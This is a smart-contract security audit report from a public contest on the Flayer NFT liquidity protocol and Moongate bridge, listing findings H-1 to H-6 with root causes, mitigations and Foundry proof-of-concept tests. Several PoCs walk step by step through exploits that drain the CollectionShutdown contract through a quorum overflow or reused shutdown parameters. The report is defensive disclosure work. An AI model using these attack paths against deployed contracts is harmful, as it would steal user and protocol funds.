SHERLOCK

Security Review For Flayer

Public contest prepared for: **Flayer**
Lead Security Expert: **zzykxx**
Date Audited: **September 2 - September 15, 2024**

Introduction

layer is a liquidity protocol for NFTs with custom Uniswap V4 hook, donate and pool integrations. This audit is to ensure the absolute security in our codebase for the layer protocol and the Moongate bridge.

Scope

Repository: FloorDAO/flayer

Branch: main

Audited Commit: 6deb7863af19dd679c5638c299eb96a89626d455

Final Commit: 6deb7863af19dd679c5638c299eb96a89626d455

Repository: flayerlabs/moongate

Branch: main

Audited Commit: d994cfed5a6f719dcde21a45acf22687b1df0e49

Final Commit: d994cfed5a6f719dcde21a45acf22687b1df0e49

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

High	Medium
25	22

Security experts who found valid issues

kuprum
ZeroTrust
zzykxx
dany.armstrong90
BugPull
zarkk01
Ironsidesec
jsmi
h2134
araj
Sentryx
g
0x73696d616f
0x37
0xc0ffEE
OpaBatyo
0xNirix
utsav
almurhasan
0xAlix2
Tendency
novaman33
valuevalk
ComposableSecurity
Ollam
zraxx
Ali9955
merlinboii
Thanos
heeze
KingNFT
t.aksoy
dimulski
Ruhum
jecikpo
Audinarey
merlin
MohammedRizwan
AuditorPraise
ZanyBonzy
blockchain555
BADROBINX
almantare
McToady
onthehunt
cawfree
stuart_the_minion
Feder
cnsdkc007
asui
Spearmint
IMAFVCKINSTARRRRRR
Ragnarok
0xdice91
robertodf
rndquu
jo13
ctf_sec
alexzoid
shaflow01
ydlee
snapishere
X12
gr8tree
0xHappy
Aymen0909
KungFuPanda
tvdung94
BugsFinders0x
adamn
Greese
Hearmen
JokerStudio
super_jack
NoOne
xKeywordx
Limbooo
steadyman
wickie
0xlucky
0xNilesh

Issue H-1: Frequency-dependent `TaxCalculator.sol::calculateCompoundedFactor` leads to interest loss either for users or for protocol

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/117

Found by

kuprum

Summary

TaxCalculator.sol::calculateCompoundedFactor uses discrete formula for calculating the compounded factor. Combined with the wrong divisor (1000 instead of 10_000, as I outline in another finding), when collection's utilization factor is moderately high (e.g. 90%), and the operations with the collection happen relatively frequently (e.g. every day), this leads to charging users excessive interest rates: for this example, 3200% more than expected.

If the divisor is fixed to the correct value (10_000), then the effects from using the discrete formula are less severe, but still quite substantial: namely for a 100% collection utilization, depending of the frequency, either the user will be charged up to $e - 2 \approx 71\%$ more interest per year compared to the non-compound interest, or the protocol will receive up to $1 - 1/(e - 1) \approx 42\%$ less interest per year compared to the compound interest.

It's worth noting that `calculateCompoundedFactor` is called whenever a new checkpoint is created for the collection, which happens e.g. when *any user* creates a listing, cancels a listing, or fills a listing. **This is neither enough to reach the desired precision, nor is it gas efficient.**

Depending on the frequency of collection operations, either:

- If non-compound interest is expected, but the frequency is high, then the users will be charged up to 71% more interest than they expect;
- If compound interest is expected, but the frequency is low, then the protocol will receive up to 42% less interest than it expects.

Root Cause

TaxCalculator.sol::calculateCompoundedFactor employs the following formula:

```
compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 *
↪  _timePeriod)) / 1e18;
```

As I explain in another finding, the divisor `1000` is incorrect, and has to be fixed to `10_000`. Provided this is fixed, the resulting formula is the correct discrete formula for calculating the compounded interest. The problem is that the formula will give vastly different results depending on the frequency of operations which have nothing to do with the user who holds the protected listing.

Internal pre-conditions

Varying frequency of collection operations.

External pre-conditions

none

Attack Path

No attack is necessary. The interest rates will be wrongly calculated in most cases.

Impact

Either users are charged up to `71%` more interest than they expect, or the protocol receives up to `42%` less interest than it expects.

PoC

Drop this test to TaxCalculator.t.sol, and execute with `forgetest--match-testtest_Wrong InterestCalculation`

```
// This test uses the unmodified source code, with the wrong divisor of 1000
function test_WrongInterestCalculation() public view {
     // We fix collection utilization to 90%
     uint utilization = 0.9 ether;

     // New checkpoints with the updated compoundedFactor are created
     // and stored whenever there is activity wrt. the collection

     // The expected interest multiplier after 1 year
     uint expectedFactor =
         taxCalculator.calculateCompoundedFactor(1 ether, utilization, 365 days);

     // The resulting interest multiplier if some activity happens every day
```

```
    uint compoundedFactor = 1 ether;
    for (uint time = 0; time < 365 days; time += 1 days) {
        compoundedFactor =
            taxCalculator.calculateCompoundedFactor(compoundedFactor, utilization,
↪  1 days);
    }

    // The user loss due to the activity which doesn't concern them is 3200%
    assertApproxEqRel(
        33 ether * expectedFactor / 1 ether,
        compoundedFactor,
        0.01 ether);
}
```

Mitigation

Variant 1: If non-compound interest is desired, apply this diff:

```
diff --git a/flayer/src/contracts/TaxCalculator.sol
↪  b/flayer/src/contracts/TaxCalculator.sol
index 915c0ff..4031aba 100644
--- a/flayer/src/contracts/TaxCalculator.sol
+++ b/flayer/src/contracts/TaxCalculator.sol
@@ -87,7 +87,7 @@ contract TaxCalculator is ITaxCalculator {
         uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);

         // Calculate new compounded factor
-        compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate /
↪  1000 * _timePeriod)) / 1e18;
+        compoundedFactor_ = _previousCompoundedFactor + (perSecondRate *
↪  _timePeriod / 1000);
     }

     /**
```

Note: in the above the divisor is still unfixed, as this belongs to a different finding.

Variant 2: If compound interest is desired, employ either periodic per-second compounding, or continuous compounding with exponentiation. Any of these approaches are precise enough and much more gas efficient than the current one, but require substantial refactoring.

Discussion

kuprumxyz

For clarification of this finding impact (for future reference), I add here a some more data that I've demonstrated during the judging period.

Texted PoC: Unfair interest rate can be enforced on users

Suppose there are two collections, A and B, with the same utilization rate, i.e. the interest rate charged for them should be the same. A malicious user wants to inflict excess interest rate on the users of collection B, and repeatedly does `createListings` / `cancelListings` for an NFT from collection B. The only thing a malicious user loses is paying gas fees which are negligible; but the effect of the attack is that **all users of collection B pay up to** `71 allowbreak %` **more interest rate than users of collection A**, though they should pay the same.

Interest rate and compounded factor are calculated _per collection_, and all the logic described in this finding applies _per collection_. I.e. only the activity (or inactivity) per collection is relevant for the frequency-dependent calculation of interest rates. It may well be the case that some collections are used frequently, and the protocol may be perfectly healthy and well-working, but for infrequently used collections either users or the protocol suffer the losses described.

The updated coded PoC

Some Watsons have raised a concern that the PoC supplied with the finding shows only the loss of 11% if the wrong divisor vulnerability is fixed. The point is that the PoC supplied with this finding is made specifically for the case when it's unfixed. It also employs 90% utilization rate, and compares the principal sum + interest, instead of only the interest without principal sum, how it should be. Below we supply the updated PoC which addresses this.

Please fix the wrong divisor vulnerability as described, place the below PoC to TaxCalculator.t.sol, and execute with `forgetest--match-testtest allowbreak _WrongInterestCalculation`.

```
function test\_WrongInterestCalculation() public {
 // We fix the utilization to 100\%
 uint utilization = 1 ether;

 // New checkpoints with the updated compoundedFactor are created
 // and stored whenever there is activity wrt. the collection

 // The expected interest multiplier after 1 year
 uint expectedFactor =
     taxCalculator.calculateCompoundedFactor(1 ether, utilization, 365 days);

 // The resulting interest multiplier if some activity happens every day
 uint compoundedFactor = 1 ether;
 for (uint time = 0; time < 365 days; time += 1 days) {
     compoundedFactor =
         taxCalculator.calculateCompoundedFactor(compoundedFactor, utilization, 1
↪  days);
 }

 // User interest loss due to the activity which doesn't concern them is 71\%
```

```
    // We subtract the principal (1 ether) as only the interests must to be compared.
    assertApproxEqRel(
        1.71 ether * (expectedFactor - 1 ether) / 1 ether,
        compoundedFactor - 1 ether,
        0.01 ether);
}
```

Interest losses calculations

In order to settle the numerical questions once and for all, I've created this spreadsheet, which calculates both user and protocol losses depending on the frequency (the number of compounding intervals per year). The spreadsheet contains more data, but here is the excerpt from it, for 100% interest rate:

() Intervals per year	Interest	Max interest	User interest loss	Protocol interest loss
()				
1 (yearly)	100.00%	171.83%	71.83%	41.80%
4 (quarterly)	144.14%	171.83%	19.21%	16.11%
12 (monthly)	161.30%	171.83%	6.52%	6.13%
52 (weekly)	169.26%	171.83%	1.52%	1.49%
365 (daily)	171.46%	171.83%	0.22%	0.22%
()				

User losses are calculated under the assumption of the **PoC: Unfair interest rate can be enforced on users** supplied before, i.e. when a malicious user creates additional activity for the collection. Protocol losses don't require any attack, and happen by themselves, due to interest rates being frequency-dependent, and the relatively low collection activity.

It can be seen that with weekly activity _within a specific collection_ (which is not an excessive limitation), the losses exceed 1% which qualifies this finding to be High severity:

> Definite loss of funds without (extensive) limitations of external conditions.
> The loss of the affected party must exceed 1%.

Let me stress this again: Within a _specific protocol_ (one of many), with relevant NFT operations from a _specific NFT collection_ (this finding applies to each NFT collection separately, and only a small subset of NFTs from that collection will be employed within the protocol), moreover, concerning _only listings_ (which is a subset of the protocol functionality), _weekly activity_ (i.e. a listing for that collection being created or filled) is

not an excessive limitation. NFTs are not the same market as fungible tokens (e.g. USDC, DAI, etc.): operations with them don't happen frequently.

Issue H-2: ERC1155Bridgable.sol cannot receive ETH royalties

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/140

Found by

Ironsidesec, MohammedRizwan, OpaBatyo, ZanyBonzy, heeze, merlin

Summary

ERC1155Bridgable.sol cannot receive ETH, so any attempts for royalty sources to send ETH to the contract will fail, and as a result, users cannot claim their ERC1155 royalties.

Vulnerability Detail

ERC1155Bridgable.sol holds the claimRoyalties function which allows users, through the `INFERNAL_RIFT_BELOW` to claim their royalties, ETH token or otherwise. However, when dealing with ETH, the contract has no payable receive or fallback function, and as a result cannot receive ETH. Thus, users cannot claim their ETH royalties.

```
function claimRoyalties(address _recipient, address[] calldata _tokens) external {
    if (msg.sender != INFERNAL_RIFT_BELOW) {
        revert NotRiftBelow();
    }

    // We can iterate through the tokens that were requested and transfer them all
    // to the specified recipient.
    uint tokensLength = _tokens.length;
    for (uint i; i < tokensLength; ++i) {
        // Map our ERC20
        ERC20 token = ERC20(_tokens[i]);

        // If we have a zero-address token specified, then we treat this as native
↪   ETH
        if (address(token) == address(0)) {
            SafeTransferLib.safeTransferETH(_recipient,
↪   payable(address(this)).balance);
        } else {
            SafeTransferLib.safeTransfer(token, _recipient,
↪   token.balanceOf(address(this)));
        }
    }
}
```

Impact

Contracts cannot receive ETH, and as a result, users cannot claim their royalties, leading to loss of funds.

Add the test code below to RiftTest.t.sol, and run it with `forgetest--mttest_bridged1155CannotReceiveETH-vvvv`

```
function test_bridged1155CannotReceiveETH() public {

    l1NFT1155.mint(address(this), 0, 1);
    l1NFT1155.setApprovalForAll(address(riftAbove), true);
    address[] memory collections = new address[](1);
    collections[0] = address(l1NFT1155);

    uint[][] memory idList = new uint[][](1);
    uint[] memory ids = new uint[](1);
    ids[0] = 0;
    idList[0] = ids;

    uint[][] memory amountList = new uint[][](1);
    uint[] memory amounts = new uint[](1);
    amounts[0] = 1;
    amountList[0] = amounts;

    mockPortalAndMessenger.setXDomainMessenger(address(riftAbove));
    riftAbove.crossTheThreshold1155(
        _buildCrossThreshold1155Params(collections, idList, amountList,
↪   address(this), 0)
    );

    Test1155 l2NFT1155 =
↪   Test1155(riftBelow.l2AddressForL1Collection(address(l1NFT1155), true));
    address RoyaltyProvider = makeAddr("RoyaltyProvider");
    vm.deal(RoyaltyProvider, 10 ether);
    vm.expectRevert();
    vm.prank(RoyaltyProvider);
    (bool success, ) = address(l2NFT1155).call{value: 10 ether}("");
    assert(success);
    vm.stopPrank();
}
```

The test passes because we are expecting a reversion with EvmError as the contract cannot receive ETH. Hence there's no ETH for the users to claim.

```
  [0] VM::expectRevert(custom error f4844814:)
    ← [Return]
  [0] VM::prank(RoyaltyProvider: [0x5D4FfD958F2bfe55BfC8B0602A8C066E2D7eeBa8])
    ← [Return]
```

```
  [201] 0x094bb35C5C8E23F2A873541aDb8c5e464C29c668::fallback{value:
↪  10000000000000000000}()
     [45] ERC1155Bridgable::fallback{value: 10000000000000000000}() [delegatecall]
        ← [Revert] EvmError: Revert
     ← [Revert] EvmError: Revert
  [0] VM::stopPrank()
```

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC1155Bridgable.sol#L116C1-L135C6

Tool used

Manual Review

Recommendation

Add a payable receive function to the contract.

Issue H-3: Quorum overflow in `CollectionShutdown` leads to complete drain of contract's funds

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/146

Found by

0xc0ffEE, Audinarey, Ragnarok, Ruhum, almantare, araj, asui, blockchain555, h2134, kuprum, zzykxx

Summary

CollectionShutdown.sol#150 and CollectionShutdown.sol#L247 cast quorum votes to `uint88` as follows:

```
uint totalSupply = params.collectionToken.totalSupply();
if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 **
 ↪  params.collectionToken.denomination()) revert TooManyItems();


// Set our quorum vote requirement
params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT /
 ↪  ONE_HUNDRED_PERCENT);
```

The problem with the above is that it may overflow:

- `collectionToken.denomination()` may max `9`
- `MAX_SHUTDOWN_TOKENS==4`
- `SHUTDOWN_QUORUM_PERCENT/ONE_HUNDRED_PERCENT==1/2`
- Collection tokens are minted in `Locker` as follows:
  - `token.mint(_recipient,tokenIdsLength*1ether*10**token.denomination());`

E.g. with `totalSupply==0.6190ether*10**9`, we have that the check still passes, but:

- `totalSupply*SHUTDOWN_QUORUM_PERCENT/ONE_HUNDRED_PERCENT=0.3095ether*10**9`
- `type(uint88).max =0.309485ether*10**9`
- `uint88(0.3095ether*10**9) =0.000015ether*10**9`

Upon collection shutdown, tokens are sold on Sudoswap, and the funds thus obtained are distributed among the claimants. The claimed amount is then *divided by* *quorumVotes* as follows:

```
uint amount = params.availableClaim * claimableVotes / (params.quorumVotes *
↪  ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
```

Thus, when dividing by a much smaller `quorumVotes`, the claimant receives much more than they are eligible for: in the PoC it's `20647ether` though only `1ether` has been received from sales.

Root Cause

CollectionShutdown.sol#150 and CollectionShutdown.sol#L247 downcast the quorum votes to `uint88`, which may overflow.

Internal pre-conditions

1. The collection token denomination needs to be sufficiently large to cause overflow
2. The amount of shutdown votes needs to be sufficiently large to cause overflow.

External pre-conditions

none

Attack Path

1. A user creates a collection with denomination `9`
2. The user holding `0.6190ether*10**9` of the collection token (i.e. less than 1 NFT) starts collection shutdown.
    - At that point the quorum of votes overflows, and becomes much smaller
3. Collection shutdown is executed normally.
4. Tokens are sold on Sudoswap.
    - In the PoC they are sold for `1ether`.
5. User claims the balance. Due to the overflow, they receive much more than what their NFTs were worth.
    - In the PoC user receives `20647ether` though only `1ether` has been received from sales.

Impact

The protocol suffers unbounded losses (the whole balance of `CollectionShutdown` contract can be drained.

PoC

Drop this test to CollectionShutdown.t.sol and execute with `forgetest--match-testtest_QuorumOverflow`:

```
function test_QuorumOverflow() public {
    locker.createCollection(address(erc721c), 'Test Collection', 'TEST', 9);

    // Initialize our collection, without inflating `totalSupply` of the
↪   {CollectionToken}
    locker.setInitialized(address(erc721c), true);

    // Set our collection token for ease for reference in tests
    collectionToken = locker.collectionToken(address(erc721c));

    // Approve our shutdown contract to use test suite's tokens
    collectionToken.approve(address(collectionShutdown), type(uint).max);

    // Give some initial balance to CollectionShutdown contract
    vm.deal(address(collectionShutdown), 30000 ether);

    vm.startPrank(address(locker));
    // Suppose address(1) holds 0.6190 ether
    // in a collection token with denomination 9
    collectionToken.mint(address(1), 0.6190 ether * 10**9);
    vm.stopPrank();

    // Start collection shutdown from address(1)
    vm.startPrank(address(1));
    collectionToken.approve(address(collectionShutdown), 0.6190 ether * 10**9);
    collectionShutdown.start(address(erc721c));
    vm.stopPrank();

    // Mint NFTs into our collection {Locker} and process the execution
    uint[] memory tokenIds = _mintTokensIntoCollection(erc721c, 3);
    collectionShutdown.execute(address(erc721c), tokenIds);

    // Mock the process of the Sudoswap pool liquidating the NFTs for ETH.
    vm.startPrank(SUDOSWAP_POOL);
    // Transfer the specified tokens away from the Sudoswap position to simulate a
↪   purchase
    for (uint i; i < tokenIds.length; ++i) {
        erc721c.transferFrom(SUDOSWAP_POOL, address(5), i);
    }
    // Ensure the sudoswap pool has enough ETH to send
    deal(SUDOSWAP_POOL, 1 ether);
    // Send ETH from the Sudoswap Pool into the {CollectionShutdown} contract
    (bool sent,) = payable(address(collectionShutdown)).call{value: 1 ether}('');
    require(sent, 'Failed to send {CollectionShutdown} contract');
    vm.stopPrank();
```

```
    // Get our start balances so that we can compare to closing balances from claim
    uint startBalanceAddress = payable(address(1)).balance;

    // address(1) now can claim
    collectionShutdown.claim(address(erc721c), payable(address(1)));

    // Due to quorum overflow, address(1) now holds ~ 20647 ether
    assertApproxEqRel(payable(address(1)).balance - startBalanceAddress, 20647
↪   ether, 0.01 ether);
}
```

Mitigation

Employ the appropriate type and cast for `quorumVotes`, e.g. `uint92`.

Issue H-4: In the `Listings.sol#relist()` function, `listing.created` is not set to `block.timestamp`.

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/164

Found by

0xAlix2, Audinarey, Ollam, ZeroTrust, araj, blockchain555, cawfree, cnsdkc007, dany.armstrong90, h2134, jecikpo, ydlee, zraxx, zzykxx

Summary

The core functionality of the protocol can be blocked by malicious users by not setting `listing.created` to `block.timestamp` in the function.

Root Cause

In the `Listings.sol#relist()` function, `listing.created` is not set to `block.timestamp` and it is determined based on the input parameter.

Internal pre-conditions

No response

External pre-conditions

- When a collection is illiquid and we have a disperate number of tokens spread across multiple users, a pool has to become unusable.

Attack Path

- In , a malicious user sets `listing.created` to `type(uint).max` instead of `block.timestamp` in the `Listings.sol#relist()` function.
- Next, When a collection is illiquid and we have a disperate number of tokens spread across multiple users, a pool has to become unusable.
- In , is always `true`, so the `CollectionShutdown.sol#execute()` function is always reverted.

Impact

The CollectionShutdown function that is core function of the protocol is damaged.

PoC

```
function test_CanRelistFloorItemAsLiquidListing(address _lister, address payable
↪  _relister, uint _tokenId, uint16 _floorMultiple) public {
        // Ensure that we don't get a token ID conflict
        _assumeValidTokenId(_tokenId);

        // Ensure that we don't set a zero address for our lister and filler, and
↪  that they
        // aren't the same address
        _assumeValidAddress(_lister);
        _assumeValidAddress(_relister);
        vm.assume(_lister != _relister);

        // Ensure that our listing multiplier is above 1.00
        _assumeRealisticFloorMultiple(_floorMultiple);

        // Provide a token into the core Locker to create a Floor item
        erc721a.mint(_lister, _tokenId);

        vm.startPrank(_lister);
        erc721a.approve(address(locker), _tokenId);

        uint[] memory tokenIds = new uint[](1);
        tokenIds[0] = _tokenId;

        // Rather than creating a listing, we will deposit it as a floor token
        locker.deposit(address(erc721a), tokenIds);
        vm.stopPrank();

        // Confirm that our listing user has received the underlying ERC20. From
↪  the deposit this will be
        // a straight 1:1 swap.
        ICollectionToken token = locker.collectionToken(address(erc721a));
        assertEq(token.balanceOf(_lister), 1 ether);

        vm.startPrank(_relister);

        // Provide our filler with sufficient, approved ERC20 tokens to make the
↪  relist
        uint startBalance = 0.5 ether;
        deal(address(token), _relister, startBalance);
        token.approve(address(listings), startBalance);
```

```
        // Relist our floor item into one of various collections
        listings.relist({
            _listing: IListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(_tokenId),
                listing: IListings.Listing({
                    owner: _relister,
-->                 created: uint40(type(uint32).max),
                    duration: listings.MIN_LIQUID_DURATION(),
                    floorMultiple: _floorMultiple
                })
            }),
            _payTaxWithEscrow: false
        });

        vm.stopPrank();

        // Confirm that the listing has been created with the expected details
        IListings.Listing memory _listing = listings.listings(address(erc721a),
↪   _tokenId);

        assertEq(_listing.created, block.timestamp);
    }
```

Result:

```
Ran 1 test suite in 17.20ms (15.77ms CPU time): 0 tests passed, 1 failed, 0 skipped
↪   (1 total tests)

Failing tests:
Encountered 1 failing test in test/Listings.t.sol:ListingsTest
[FAIL. Reason: assertion failed: 4294967295 != 3601; counterexample:
↪   calldata=0x102a3f2c000000000000000000000007b71078b91e0cdf997ea0019ceaaec1e461a⌋
↪   64ca0000000000000000000000000a255597a7458c26b0d008204a1336eb2fd6aa0900000000000⌋
↪   0000000000000000000000000000000000000000005c3b7d197caff000000000000000000000000⌋
↪   000000000000000000000000000000000000006d
↪   args=[0x7b71078b91E0CdF997EA0019cEaAeC1E461A64cA,
↪   0x0A255597a7458C26B0D008204A1336EB2fD6AA09, 1622569146370815 [1.622e15], 109]]
↪   test_CanRelistFloorItemAsLiquidListing(address,address,uint256,uint16) (runs:
↪   0,  : 0, ~: 0)

Encountered a total of 1 failing tests, 0 tests succeeded
```

Mitigation

Add the follow lines to the `Listings.sol#relist()` function:

```
function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public
↪  nonReentrant lockerNotPaused {
        // Load our tokenId
        address _collection = _listing.collection;
        uint _tokenId = _listing.tokenIds[0];

        // Read the existing listing in a single read
        Listing memory oldListing = _listings[_collection][_tokenId];

        // Ensure the caller is not the owner of the listing
        if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();

        // Load our new Listing into memory
        Listing memory listing = _listing.listing;

        // Ensure that the existing listing is available
        (bool isAvailable, uint listingPrice) = getListingPrice(_collection,
↪  _tokenId);
        if (!isAvailable) revert ListingNotAvailable();

        // We can process a tax refund for the existing listing
        (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
        if (_fees != 0) {
            emit ListingFeeCaptured(_collection, _tokenId, _fees);
        }

        // Find the underlying {CollectionToken} attached to our collection
        ICollectionToken collectionToken = locker.collectionToken(_collection);

        // If the floor multiple of the original listings is different, then this
↪  needs
        // to be paid to the original owner of the listing.
        uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
        if (listingPrice > listingFloorPrice) {
            unchecked {
                collectionToken.transferFrom(msg.sender, oldListing.owner,
↪  listingPrice - listingFloorPrice);
            }
        }

        // Validate our new listing
        _validateCreateListing(_listing);

        // Store our listing into our Listing mappings
        _listings[_collection][_tokenId] = listing;

+++     _listings[_collection][_tokenId].created = uint40(block.timestamp);

        // Pay our required taxes
```

```
        payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing,
↪  _collection), _payTaxWithEscrow);

        // Emit events
        emit ListingRelisted(_collection, _tokenId, listing);
    }
```

Issue H-5: Stale shutdown params can be reused to drain all funds from `CollectionShutdown` contract

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/173

Found by

0xc0ffEE, ZeroTrust, kuprum

Summary

When a collection is being shutdown via `CollectionShutdown` contract, the shutdown parameters are not properly cleaned up, and can be reused to mount an attack on the contract. In particular, a new collection can be created for the same ERC-721 contract, and then a shutdown may be started again via a particular sequence of calls: `reclaimVote -> start`. As `CollectionShutdown` indexes all internal datastructures and external operations via the address of the ERC-721 contract, this leads to mixing the outdated shutdown parameters with the parameters of the new collection (in particular the old and the new collection token). Moreover, as attacker's balance of the new collection token is now used instead of the old one, the attacker can claim (via `voteAndClaim`) much more than was received from the token sale of the old collection, thus draining all contract funds.

Root Cause

The execution logic of certain functions of `CollectionShutdown` is flawed; in particular:

- Method reclaimVote can be called *after* the shutdown process started to execute;
- Execution of method start is guarded by the precondition `params.shutdownVotes==0`, which can be made true by the above function `reclaimVote`. Besides that, `start` leaves stale data in `CollectionShutdownParams`.

Internal pre-conditions

none

External pre-conditions

none

Attack Path

1. The attacker creates a collection for some ERC-721 contract
2. The attacker deposits an NFT, and receives 1 ether of collection token
3. The attacker starts collection shutdown from address(1)
4. Shutdown executed normally; some tokens are posted to Sudoswap for sale
5. The attacker buys NFTs for 100 ether
6. The attacker reclaims their vote, to enable starting the shutdown again
7. The attacker creates a new collection for the same ERC-721 contract; a new collection token is created by Locker
8. The attacker deposits an NFT, and receives 1 ether of the new collection token
9. The attacker starts collection shutdown again from address(1); this redirects collection token to the new one in shutdown params
10. The attacker deposits NFTs, and receives 11 ether of the new collection token to address(2)
11. Attacker votes and claims, reusing stale, partially updated shutdown params
12. There were 100 ether received from Sudoswap sale upon the first shutdown. As now the attacker claims with their balance of collectionToken2 == 11 ether, they receive 100 ether * 11 == 1100 ether, thus stealing 1000 ether.

Impact

All funds are drained from the `CollectionShutdown` contract.

PoC

Drop this test to CollectionShutdown.t.sol and execute with `forgetest--match-testtest_ReuseShutdownParamsToStealFunds`:

```
function test_ReuseShutdownParamsToStealFunds() public {
    // Some initial balance of CollectionShutdown
    vm.deal(address(collectionShutdown), 1000 ether);

    // 1. The attacker creates a collection for some ERC-721 contract (done in the
↪   test setup)

    // 2. The attacker deposits an NFT, and receives 1 ether of collection token
    vm.startPrank(address(locker));
    collectionToken.mint(address(1), 1 ether);
    vm.stopPrank();
```

```
    // 3. The attacker starts collection shutdown from address(1)
    vm.startPrank(address(1));
    collectionToken.approve(address(collectionShutdown), 1 ether);
    collectionShutdown.start(address(erc721b));
    vm.stopPrank();

    // 4. Shutdown executed normally; some tokens are posted to Sudoswap for sale
    // Mint NFTs into our collection {Locker} and process the execution
    uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
    collectionShutdown.execute(address(erc721b), tokenIds);
    // Mock the process of the Sudoswap pool liquidating the NFTs for ETH.

    // 5. The attacker buys NFTs for 100 ether
    _mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 100 ether);

    // 6. The attacker reclaims their vote, to enable starting the shutdown again
    vm.startPrank(address(1));
    collectionShutdown.reclaimVote(address(erc721b));
    vm.stopPrank();

    // 7. The attacker creates a new collection for the same ERC-721
    locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0);
    // Initialize our collection, without inflating `totalSupply` of the
↪   {CollectionToken}
    locker.setInitialized(address(erc721b), true);
    // A new collection token is created by Locker
    ICollectionToken collectionToken2 = locker.collectionToken(address(erc721b));

    // 8. The attacker deposits an NFT, and receives 1 ether of the new collection
↪   token
    vm.startPrank(address(locker));
    collectionToken2.mint(address(1), 1 ether);
    vm.stopPrank();

    // 9. The attacker starts collection shutdown again from address(1)
    // This redirects collection token to the new one in shutdown params
    vm.startPrank(address(1));
    collectionToken2.approve(address(collectionShutdown), 1 ether);
    collectionShutdown.start(address(erc721b));
    vm.stopPrank();

    // 10. The attacker deposits NFTs,
    // and receives 11 ether of the new collection token to address(2)
    vm.startPrank(address(locker));
    collectionToken2.mint(address(2), 11 ether);
    vm.stopPrank();

   // Get our start balances so that we can compare to closing balances from claim
    uint startBalanceAddress = payable(address(2)).balance;
```

```
    // 11. The attacker votes and claims, reusing stale, partially updated shutdown
↪   params
    vm.startPrank(address(2));
    collectionToken2.approve(address(collectionShutdown), 11 ether);
    collectionShutdown.voteAndClaim(address(erc721b));
    vm.stopPrank();

    // 12. There were 100 ether received from Sudoswap sale upon the first shutdown.
    // As now attacker claims with the balance of collectionToken2 == 11 ether,
    // they receive 100 ether * 11 == 1100 ether, thus stealing 1000 ether
    assertEq(payable(address(2)).balance - startBalanceAddress, 1100 ether);
}
```

Mitigation

- Disallow calling `reclaimVote` at any point in time after the shutdown can be executed.
- In `start`, properly clean up all `CollectionShutdownParams`.

Additionally, we recommend for the `CollectionShutdown` contract to index both internal datastructures and external functions not with the address of an ERC-721 contract, but with the address of a collection token contract. This will help to clearly differentiate between various reincarnations of the same ERC-721 contract as different collections / collection tokens, as well as to enable cleanly shutting down the collection even if some operations are still performed with the ERC-721 tokens.

Issue H-6: There is a calculation error inside the calculateCompoundedFactor() function, causing users to overpay interest.

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/227

Found by

0x37, Sentryx, Tendency, ZeroTrust, dany.armstrong90, dimulski, kuprum, merlinboii, robertodf, stuart_the_minion

Summary

There is a calculation error inside the calculateCompoundedFactor() function, causing users to overpay interest.

Vulnerability Detail

```
    function calculateProtectedInterest(uint _utilizationRate) public pure returns
↪   (uint interestRate_) {
        // If we haven't reached our kink, then we can just return the base fee
        if (_utilizationRate <= UTILIZATION_KINK) {
            // Calculate percentage increase for input range 0 to 0.8 ether (2% to
↪   8%)
@>>             interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
        }
        // If we have passed our kink value, then we need to calculate our
↪   additional fee
        else {
            // Convert value in the range 0.8 to 1 to the respective percentage
↪   between 8% and
            // 100% and make it accurate to 2 decimal places.
            interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) /
↪   (1 ether - UTILIZATION_KINK) + 8) * 100;
        }
    }
```

```
 function calculateCompoundedFactor(uint _previousCompoundedFactor, uint
↪   _utilizationRate, uint _timePeriod) public view returns (uint
↪   compoundedFactor_) {
```

```
        // Get our interest rate from our utilization rate
@>>         uint interestRate = this.calculateProtectedInterest(_utilizationRate);

        // Ensure we calculate the compounded factor with correct precision.
↪   `interestRate` is
        // in basis points per annum with 1e2 precision and we convert the annual
↪   rate to per
        // second rate.
       uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);

        // Calculate new compounded factor
@>>          compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate
↪   / 1000 * _timePeriod)) / 1e18;
    }
```

Through the calculateProtectedInterest() function, which calculates the annual interest rate, we know that 200 represents 2% and 800 represents 8%, so the decimal precision is 4. When the principal is 100 and the annual interest rate is 2% (200), the yearly interest should be calculated as 100 * 200 / 10000 = 2.

However, in the calculateCompoundedFactor function, there is a clear error when calculating compound interest, as it only divides by 1000, leading to the interest being multiplied by a factor of 10.

Impact

The user overpaid interest, resulting in financial loss.

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L80

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L59C1-L71C6

Tool used

Manual Review

Recommendation

```
function calculateCompoundedFactor(uint _previousCompoundedFactor, uint
↪   _utilizationRate, uint _timePeriod) public view returns (uint
↪   compoundedFactor_) {
